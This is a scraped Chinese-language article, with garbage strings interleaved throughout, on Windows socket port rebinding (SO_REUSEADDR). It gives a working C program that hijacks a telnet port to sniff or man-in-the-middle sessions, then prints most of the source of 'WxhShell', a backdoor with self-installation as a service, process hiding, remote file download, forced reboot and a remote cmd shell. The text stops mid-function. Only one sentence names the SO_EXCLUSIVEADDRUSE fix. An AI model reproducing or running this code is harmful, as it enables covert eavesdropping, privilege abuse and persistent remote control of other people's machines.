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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^%m~V LH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QhmOO-Z? @z7$1pl} saddr.sin_family = AF_INET; hg}R(.1K= txemu* saddr.sin_addr.s_addr = htonl(INADDR_ANY); l =^ ^l` MHAWnH8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); iLJBiZ+ ?
-`8w
_3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]j^rJ|WTH Xm[Cgt_? 这意味着什么?意味着可以进行如下的攻击: S+//g+e|f K{]\}7+
1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 17B` gYvT'72 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) N1espc@j NIxtT>[+3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A>QAR)YP EY'48S 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 t%]b`ad rb<9/z5- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %vjfAdC A7sva@}W 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UpCkB}OhR1 *Au[{sR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #=aT Sw X @!2vS@f #include yo"!C?82= #include ]ag^~8bG
@ #include F]`_ak E #include Gque@u DWORD WINAPI ClientThread(LPVOID lpParam); </)QCl' d int main() wVtBH_> { I"r[4>>B>0 WORD wVersionRequested; Z6_E/S DWORD ret; nO .:f WSADATA wsaData; CGJ>j}C BOOL val; Tlz~o[`& SOCKADDR_IN saddr; r>x>aJ SOCKADDR_IN scaddr; be:=-B7! int err; )dZ1$MC[ SOCKET s; 3C(V<R? SOCKET sc; jinXK int caddsize; .+dego: HANDLE mt; =z
+iI; DWORD tid; Q@? {|7: wVersionRequested = MAKEWORD( 2, 2 ); gWHjI3; err = WSAStartup( wVersionRequested, &wsaData ); {
^
@c96& if ( err != 0 ) { ^F`\B'8MF printf("error!WSAStartup failed!\n"); lxXIu8 return -1; s!\Gi5b } R)BH:wg" saddr.sin_family = AF_INET; -{s9PZ3~_ XT~]pOE;D //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~mYCXf oc{ {.D/MdwW; saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f&L8<ASFo saddr.sin_port = htons(23); ^?o> (K if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5!}fd/}Uk { ,S\AUUt% printf("error!socket failed!\n"); : tcqb2p return -1; ({kOgOeC } #i}:CI>2 val = TRUE; OA{PKC //SO_REUSEADDR选项就是可以实现端口重绑定的 d}(b!q9 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) fGMuml?[ e { `ls^fnJTpf printf("error!setsockopt failed!\n"); )b;}]C return -1; f
l*O)r } Cy'! > //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G.sf>.[ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RL~]mI!U //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <;':'sW YTYCv7 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &<oDl_^ { (`FY{]Wz! ret=GetLastError(); 5R/k8UZ printf("error!bind failed!\n"); |g8Q.*"l[ return -1; 1n|K } %8~g#Z listen(s,2); cHk ?$ while(1) Onj)AJ9M0r { A_JNj8<6r caddsize = sizeof(scaddr); Trt1M //接受连接请求 F=r`'\JV[ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h\PybSW4s if(sc!=INVALID_SOCKET) ~k780 { b 3i34, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); GP;UuQz if(mt==NULL) gWpG-RL0 { U#
7K^(E9 printf("Thread Creat Failed!\n"); XD$;K$_7 break; ?N(opggiD } L|A.;Gq } <A@qN95m CloseHandle(mt); .YxcXe3# } a5@XD_b closesocket(s); U((mOm6 WSACleanup(); I2^Eo5' return 0; @bO/5"X, } d td}P~ DWORD WINAPI ClientThread(LPVOID lpParam) fi;00>y { Tg\wBhJr| SOCKET ss = (SOCKET)lpParam; %:/?eZ SOCKET sc; 1@{qPmf^ unsigned char buf[4096]; J!@`tR- SOCKADDR_IN saddr; 4+'d">+| long num; u:GDM DWORD val; 6R+EG{` DWORD ret; wTkcR^ //如果是隐藏端口应用的话,可以在此处加一些判断 HA0Rv#p //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 *zTEK:+_ saddr.sin_family = AF_INET; SWPb=[WEz saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); {axMS yp; saddr.sin_port = htons(23); G+zIh}9 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) FCA]zR1 { 2}jC%jR2 printf("error!socket failed!\n"); xI(Y}> return -1; Yo;Mexo! } l~c# X3E val = 100; pIP^/H if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N@G~+GCxL { (7J (.EG2e ret = GetLastError(); ypV>* return -1; '7(oCab"_ } *nc9u" if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $KMxq= { 6h3TU,$r ret = GetLastError(); fs;pX/:FR return -1; u RPvo}!=1 } %% A==_b if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *e}1KcJ { B[B(=4EzMP printf("error!socket connect failed!\n"); kb2M3%6V closesocket(sc); I4\
c+f9 closesocket(ss); YqNI:znm- return -1; ]?A-D,!( } M&~cU{9c while(1) !(>yB;u { .Mu]uQUF //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )W.Y{\D0 //如果是嗅探内容的话,可以再此处进行内容分析和记录 32Jl|@8,g //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S1G3xY$0 num = recv(ss,buf,4096,0); 1./iF>*A if(num>0) 0V5 {:mzA send(sc,buf,num,0); S1D;Xv@ else if(num==0) 'e5,%"5(c break; Fb&WwGY,P num = recv(sc,buf,4096,0); m?_@.O@] if(num>0) %y_AT2A send(ss,buf,num,0); + 3%i7 else if(num==0) $1bx\
break; Jl|^ } 2E_*'RT closesocket(ss); DX#_0-o closesocket(sc); G;Thz return 0 ; !:|[?M.` } fw+ VR.#2H X'XH-E F|{F'UXj| ========================================================== #23m_w^L 4N{5i) 下边附上一个代码,,WXhSHELL *^t7?f[ vg ^&j0 ========================================================== y&{ Z"+B5 n9x&Ws; #include "stdafx.h" PHHX)xK r,-9]?i #include <stdio.h> %5|DdpES #include <string.h> ygSvYMC #include <windows.h> h(Ccm44 #include <winsock2.h> v'X=|$75 #include <winsvc.h> T^XU5qgN #include <urlmon.h> QQIU5 :dkBr@u96O #pragma comment (lib, "Ws2_32.lib") k>mqKzT0$+ #pragma comment (lib, "urlmon.lib") CKgbb4;<m[ -|x YT+?% #define MAX_USER 100 // 最大客户端连接数 OJ2I (8P #define BUF_SOCK 200 // sock buffer bJ6@
B< #define KEY_BUFF 255 // 输入 buffer bhg
OLh# ;_<K>r* #define REBOOT 0 // 重启 4[^lE?+ #define SHUTDOWN 1 // 关机 c0M>CaKD J0a#QvX! #define DEF_PORT 5000 // 监听端口 "Ir.1FN Mh;rhQ #define REG_LEN 16 // 注册表键长度 g1zX^^nd,V #define SVC_LEN 80 // NT服务名长度 "}'Sk( Q]NGd 0 J // 从dll定义API ^tY$pPA typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 96.Vm*/7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2*1FW v typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); D|rcSa.M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <"rckPv_H &6}] v: // wxhshell配置信息 z~+gche> struct WSCFG { Qpaan int ws_port; // 监听端口 E+|r
h-M 7 char ws_passstr[REG_LEN]; // 口令 vspub^;5\ int ws_autoins; // 安装标记, 1=yes 0=no 5xF R7%_& char ws_regname[REG_LEN]; // 注册表键名 d?_LNSDo char ws_svcname[REG_LEN]; // 服务名 jtFet{ char ws_svcdisp[SVC_LEN]; // 服务显示名 {P>%l\? char ws_svcdesc[SVC_LEN]; // 服务描述信息 XOi[[G} char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =gb(<`{> int ws_downexe; // 下载执行标记, 1=yes 0=no [J6b5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ":upo/xN char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Wy.Xx-3W q\gvX
76a }; ZRr S""V ?=X_a{}/ // default Wxhshell configuration (!9ybH;T struct WSCFG wscfg={DEF_PORT, )TFBb\f>v "xuhuanlingzhe", Q0cr^24/ 1, u]%>=N(^2 "Wxhshell", 'ffOFIz|=I "Wxhshell", |L"!^Y#=D "WxhShell Service", byUz "Wrsky Windows CmdShell Service", qn4jy6 "Please Input Your Password: ", zLHE; 1, G B&+EZ " http://www.wrsky.com/wxhshell.exe", A"8"e* "Wxhshell.exe" rt7]~W- }; d3| oKP6 r=3knCEWK // 消息定义模块 @JL+xfz char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q4JvFy0' char *msg_ws_prompt="\n\r? for help\n\r#>"; :n?K[f?LfY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; z}[qk: char *msg_ws_ext="\n\rExit."; U|HF;L char *msg_ws_end="\n\rQuit."; /2\%X`]< char *msg_ws_boot="\n\rReboot..."; o>' 1ct char *msg_ws_poff="\n\rShutdown..."; z
nc' char *msg_ws_down="\n\rSave to "; aj:B+}1 &@MiR8 char *msg_ws_err="\n\rErr!"; c#6g[TE@ char *msg_ws_ok="\n\rOK!"; *1[v08?!
G$"$k=[ char ExeFile[MAX_PATH]; '!6Py1i int nUser = 0; p#Vh[UTl^ HANDLE handles[MAX_USER]; ?]#U~M<' int OsIsNt; Aj;F$(su G`HL^/Z* SERVICE_STATUS serviceStatus; IO\>U(:vx SERVICE_STATUS_HANDLE hServiceStatusHandle; W l+[{# VYZkHjj)2i // 函数声明 #+-
/0{HT int Install(void); Aey*n=V4#F int Uninstall(void); G}&{]w@ int DownloadFile(char *sURL, SOCKET wsh); CK+GD "Z$ int Boot(int flag); !awfxH0 void HideProc(void); 6SIk,Isy8 int GetOsVer(void); d:"]*EZ [ int Wxhshell(SOCKET wsl); $`emP
Hel void TalkWithClient(void *cs); <+QX Gz1 int CmdShell(SOCKET sock); T&] J3TFJ int StartFromService(void); x{X(Y]*1S int StartWxhshell(LPSTR lpCmdLine); xD(JkOne SOI$Mx VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %dMP}k/ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9p#Laei]. =nYd|Ok // 数据结构和表定义 :|:Disg SERVICE_TABLE_ENTRY DispatchTable[] = -H3tBEvoI { (,gpR4O[ {wscfg.ws_svcname, NTServiceMain}, R{5xb {NULL, NULL} v){&g5djl }; f(h nomn G Uf[Dz // 自我安装 gqje]Zc< int Install(void) lKMOsr@l { ;:a>#{N char svExeFile[MAX_PATH]; @k!J}O
K HKEY key; oT4A|M strcpy(svExeFile,ExeFile); fq.ui3lP) ]i-peBxw // 如果是win9x系统,修改注册表设为自启动 `;ofQz4 if(!OsIsNt) { p. eq
N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y?(kE` R RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K{}U[@_tS RegCloseKey(key); A?V[/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ERO'{nT& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); swBgV,; RegCloseKey(key); :3s5{s return 0; cViEvS r } 4E`y*Hmzy+ } 3Ms`
ajJ } +ou
]| else { xm}9(EJ b3G4cO;t; // 如果是NT以上系统,安装为系统服务 (3DjFT3
w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lbka*@ if (schSCManager!=0) I6x { HWJ(O/N SC_HANDLE schService = CreateService 3iHUG^sLW ( hlpi-oW` schSCManager, iyF~:[8 wscfg.ws_svcname, mTcop yp wscfg.ws_svcdisp, SO#NWa<0| SERVICE_ALL_ACCESS, i+$G=Z#3E SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , BitP?6KX SERVICE_AUTO_START, B&~#.<23: SERVICE_ERROR_NORMAL, R\%&Q| svExeFile, vps</f! NULL, v2e*mNK5 NULL, =l_B58wrx NULL, )uvs%hK NULL,
[*<F
NULL "lcNjyU\O ); ZqhCGHy if (schService!=0) #,0PLU3% { YRXXutm CloseServiceHandle(schService); +/tNd2 CloseServiceHandle(schSCManager); @)A) cBv# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 42a.@JbLQ strcat(svExeFile,wscfg.ws_svcname); Wj"\nT4 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Q Y:t:- RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IJxBPwh RegCloseKey(key); nyyKA_#:5 return 0; "+oP((9 } L*xu<(>K } b'9\j.By CloseServiceHandle(schSCManager); 2lVJ"jg } /;7\HZ$@/ } 'D ,efTq d
NQ?8P-& return 1; Yj/aa0Ka4 } S+^*rw vUEG0{8l // 自我卸载 t$NK{Mw5_ int Uninstall(void) /gkHV3}fu { kdVc;v/5 HKEY key; Zl5cHejM dzIcX*" if(!OsIsNt) { _MF:?p,l if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3*< O-Jr RegDeleteValue(key,wscfg.ws_regname); aDrF"j RegCloseKey(key); s}8(__| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /5qeNjI+2 RegDeleteValue(key,wscfg.ws_regname); !~+"TI}_%w RegCloseKey(key); `SdvXn return 0; Aofk< O!M } ftS^|%p } @>Y.s6a } : +Na8\d else { DQC=f8 G:$Ta6= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F*`*5:7 if (schSCManager!=0) :fo.9J { ,$i2vGd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zX{O"w if (schService!=0) SG:Fn8 { PtH>I,/ if(DeleteService(schService)!=0) { f{
;L"*L CloseServiceHandle(schService); ,$"*X-1 CloseServiceHandle(schSCManager); =Q\z*.5j. return 0; Rra3)i`* } %49P<vo`? CloseServiceHandle(schService); %w+"MkH
_ } c/:d$o- CloseServiceHandle(schSCManager); ;DQ{6( } W7bA#p( } ( v<l9}! 0GEM3~~D.? return 1; q"Ct=d } nitKX.t8 EL*OeyU1l // 从指定url下载文件 Z~&$s int DownloadFile(char *sURL, SOCKET wsh) m<7Ax> { j#}wg`P"A HRESULT hr; \"L
;Ct
8 char seps[]= "/"; e70#"~gt[ char *token; _ELuQ>zM]+ char *file; W9i}w& char myURL[MAX_PATH]; %2H0JXKa, char myFILE[MAX_PATH]; ?8ZOiY( #b u]@/ strcpy(myURL,sURL); <OX_6d *@ token=strtok(myURL,seps); ( (.b& while(token!=NULL) OvL@@SX | { 9T`$gAI file=token; 9%+Nzo(Fd
token=strtok(NULL,seps); v BP
5n } Sn6cwf9.s DC9\Sp? GetCurrentDirectory(MAX_PATH,myFILE); <1t.f}}uX strcat(myFILE, "\\"); T0:%,o strcat(myFILE, file); I&2)@Zw send(wsh,myFILE,strlen(myFILE),0); }XOTK^YA send(wsh,"...",3,0); C)x>/Qr ~ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 47S1mxur if(hr==S_OK) EC`!&Yp+ return 0; r;>2L' else xIOYwVC return 1; %Aqt0e
b-)m'B}` } HuVx^y`
@ p$5uS=:4`8 // 系统电源模块 wSy|h*a, int Boot(int flag) x9QUo*MT { y\a@'LFL HANDLE hToken; t@#+vs@ TOKEN_PRIVILEGES tkp; 5
)A(q\ XZh1/b^DMN if(OsIsNt) { w^{qut. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h>w(Th\H LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )JNUfauyT tkp.PrivilegeCount = 1; x9DG87P~+ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rI'kGqU AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^bD)Tg5K if(flag==REBOOT) { *Z9Rl> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DGc5Lol~ return 0; hSl6X3W } O V"5:){ else { `;`fA|F^ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VVd9VGvh return 0; [6ycs[{! } 4Nb&(p } ''Pu else { U4$}8~o4 if(flag==REBOOT) { hFW{qWP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b0(bL_, return 0; !iNN6-v% } ",v!geMvu else { j3-^,r
t4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sYfiC`9SO return 0; **,(>4j } 0Z.X;1= } MH0xD %@,%A_So k return 1; U%:K11Kr }
. r?URC e(z'uA{! // win9x进程隐藏模块 ]QJN` ;b0 void HideProc(void) ydZS^BqG { iQT$#"m
n n<)gS7 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yQ [n7du if ( hKernel != NULL ) )yl;i { ln1QY"g pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M?gc&2Y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G7qB FreeLibrary(hKernel); JEL.*[/ } >s%&t[r6 6_=t~9sY return; B4#XQ- } P&snIJ dED&-e# // 获取操作系统版本 vY"i^a`f int GetOsVer(void) .:~{+
<*` { (drDC1\ OSVERSIONINFO winfo; EGL7z`nt winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MnPk+eNJm GetVersionEx(&winfo); yq=rv$.s if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |34M.YjA return 1; 5/E7@h , else 2lu A F2 return 0; )N'-Ap$g } 2(i@\dZCb< h,fC-+H5 // 客户端句柄模块 (teK0s;t5k int Wxhshell(SOCKET wsl) mS9ITe
M { Z,"f2UJ SOCKET wsh; #dj,=^1_14 struct sockaddr_in client; d69synEw>k DWORD myID; z+5%.^Re GbwqrH+ while(nUser<MAX_USER) PAy/"R9DT- { m\.(- int nSize=sizeof(client); 2:jWO_V@ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6JB*brO if(wsh==INVALID_SOCKET) return 1; E4cPCQyeH lzbAx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bSkr:|A7 if(handles[nUser]==0) ])9|j closesocket(wsh); VprrklZ else ]r(&hqdR nUser++; WbwS!F<au } V |hr 9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -Q MO*PY GlOSCJZ return 0; KBg5_+l } QFg{.F?3q> BCI[jfd 7 // 关闭 socket F@l d#O void CloseIt(SOCKET wsh) A|`mIma# { 6
=H]p1p~O closesocket(wsh); L;i(@tp|v nUser--; IJk<1T7:(W ExitThread(0); 2uzy]faM } >$:_M*5 nJ|M // 客户端请求句柄 d "%6S*dL void TalkWithClient(void *cs) ]j+J^g { ,382O$C 0x2[*pJ|IW SOCKET wsh=(SOCKET)cs; 1EHL8@.M char pwd[SVC_LEN]; "KKw\i char cmd[KEY_BUFF]; *3A)s
O char chr[1]; Ca}V5O int i,j; y[DS$>E |0nt u+ while (nUser < MAX_USER) { K#kMz#B+i :;URLl0 if(wscfg.ws_passstr) { giHWC%/ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eE5j6`5i //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #By~gcN //ZeroMemory(pwd,KEY_BUFF); Ya29t98Pk i=0; ^D?{[LBc while(i<SVC_LEN) { #A 7|=E 71c(Nw~iQ // 设置超时 Vs9]Gm fd_set FdRead; G<>h>c1>z struct timeval TimeOut; S#b)RpY FD_ZERO(&FdRead); XaH; FD_SET(wsh,&FdRead); 6 2LLfD TimeOut.tv_sec=8; rCd*'Qg TimeOut.tv_usec=0; t[p/65L>8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T-y5U}, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P*/ig0_fM 9;ie[sU:u if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fbW<c`L H pwd =chr[0]; UG=],\E2 if(chr[0]==0xd || chr[0]==0xa) { @e2P3K gg pwd=0; jP\5bg-} break; jE2EoQi, } A-l[f\ i++; 4"s/T0C } 9.wZhcqqU FyqsFTh_ // 如果是非法用户,关闭 socket P-\65]`C if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3'!*/UnU } b!T-{Ns6 &*; Z(ul&9 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >">grDX send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A2''v3-h8 h$#|s/ while(1) { Ki dbcZ 5l]qhi3f ZeroMemory(cmd,KEY_BUFF); [sl"\3) t[:G45].-k // 自动支持客户端 telnet标准 wPvYnhr|G- j=0; tja7y"(] while(j<KEY_BUFF) { bO+e?&vQ% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LY2QKjgP cmd[j]=chr[0]; [6CWgQ%Ue if(chr[0]==0xa || chr[0]==0xd) { TTJj=KPA cmd[j]=0; 3Qd%`k break; cd;~60@K } $9ys!
<g j++; H^JFPvEc } KeWIC,kq Ee^>Q*wahw // 下载文件 zYEb#*Kar if(strstr(cmd,"http://")) { <f;Xs( send(wsh,msg_ws_down,strlen(msg_ws_down),0); y'_2|5!Qs if(DownloadFile(cmd,wsh)) 0Vj!'=Ntv send(wsh,msg_ws_err,strlen(msg_ws_err),0); p:xVi0 else w|:ev_c| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #kp+e)F } o`.5NUn else { %$F_oO7" `!C5"i8+i2 switch(cmd[0]) { ^TT_BAI S"%W^)mZ // 帮助 WfYC`e7q case '?': { :Fi$-g send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DI=?{A break; Nc*z?0wP } f\~A72- // 安装 T^S$|d case 'i': { -*;JUSGh if(Install()) 5}:`CC2,S~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qb@i_SX(fs else ^4=%~Yx send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O5ZR{f& break; zd3^k< } \vgM`32< // 卸载 [E0.4FLT! case 'r': { R0T{9,;[` if(Uninstall()) fz<GPw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @"n]v)[4 else yUvn h send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0A F}wz> break; 6Ok]E` } lbC9^~T+ // 显示 wxhshell 所在路径 /|8/C40aY case 'p': { <X ([VZ char svExeFile[MAX_PATH]; z0?IQzR^T strcpy(svExeFile,"\n\r"); zE?@_p1gei strcat(svExeFile,ExeFile); HAAU2A9B2 send(wsh,svExeFile,strlen(svExeFile),0); Wo~;h(6 break; g1&q6wCg| } > mEB, // 重启 vvF]g., case 'b': { lMe+.P| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); S^nI=HTm if(Boot(REBOOT)) >~})O&t send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ly]J-BTe else { WT:ZT$W closesocket(wsh); :~'R| l ExitThread(0);
ITfz/d8 } ?cB26Zrcb break; {=9"WN } (1Klj+"p% // 关机 fy={ case 'd': { 7,FhKTV1/ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uEr[' > if(Boot(SHUTDOWN)) [BFPIVD)h] send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uwg*kJ3H else { &[kFl\ closesocket(wsh); %wN*Hu~E ExitThread(0); 5-POYug } C'a#.LM break; lbMok/a2o } iIc/%<
; // 获取shell %nyZ=&u case 's': { K$5mDScoJ CmdShell(wsh); sv2XD}} closesocket(wsh); Vj6w7hz ExitThread(0); l]S% k& break;
?fQ8Ff } ~r&+18Z; // 退出 7-d.eNQl case 'x': { H.&"~eH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6)_h'v<|M CloseIt(wsh); NB3ar&.$S break; oq2-)F2/ } UL`%Xx // 离开 H Yw7* case 'q': { x2tcr+o send(wsh,msg_ws_end,strlen(msg_ws_end),0); :\~YbA closesocket(wsh); 8BX9JoDi WSACleanup(); 2j=HxE exit(1); @Wa, break; 8p PQ } ;!)gjiapw } G| qsJ } BB.120v&N oVY_|UujG // 提示信息 ~{l @ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [I78<IJc } $.3J1DU } x57O.WdN S+GW}?! return; /hAy1V6 } 3 V$
\s8 _Q7]Dw/w\ // shell模块句柄 {2LV0:k2 int CmdShell(SOCKET sock) m3=Cg$n { [midNC +, STARTUPINFO si; G' mg-{ ZeroMemory(&si,sizeof(si)); d Y`P si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^tI4 FQ>Y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \6;b.&%w2 PROCESS_INFORMATION ProcessInfo; %XH%.Ps/ char cmdline[]="cmd"; I$*LMzve CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G!7A]s>C return 0; Vsd4; } B* k|NZj 34 I Cn~ // 自身启动模式 .J\i ! int StartFromService(void) F{laA YE { pd.5 typedef struct S%o6cl = { ,soXX_Y> DWORD ExitStatus; )|KZGr DWORD PebBaseAddress; 3W}qNY;J DWORD AffinityMask; CIAKXYM DWORD BasePriority; rmPJid[8B~ ULONG UniqueProcessId; TmEh$M ULONG InheritedFromUniqueProcessId; nKe|xP } PROCESS_BASIC_INFORMATION; @-.Tgpe@a 2tZ\/6G< PROCNTQSIP NtQueryInformationProcess; U[6
~ad
a 6<No_x |_ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pf#~|n#t static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; )npvy>C'( D{M&>. HANDLE hProcess; pXK-,7- PROCESS_BASIC_INFORMATION pbi; bM"d$tl$?' bRI `ZT0 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");
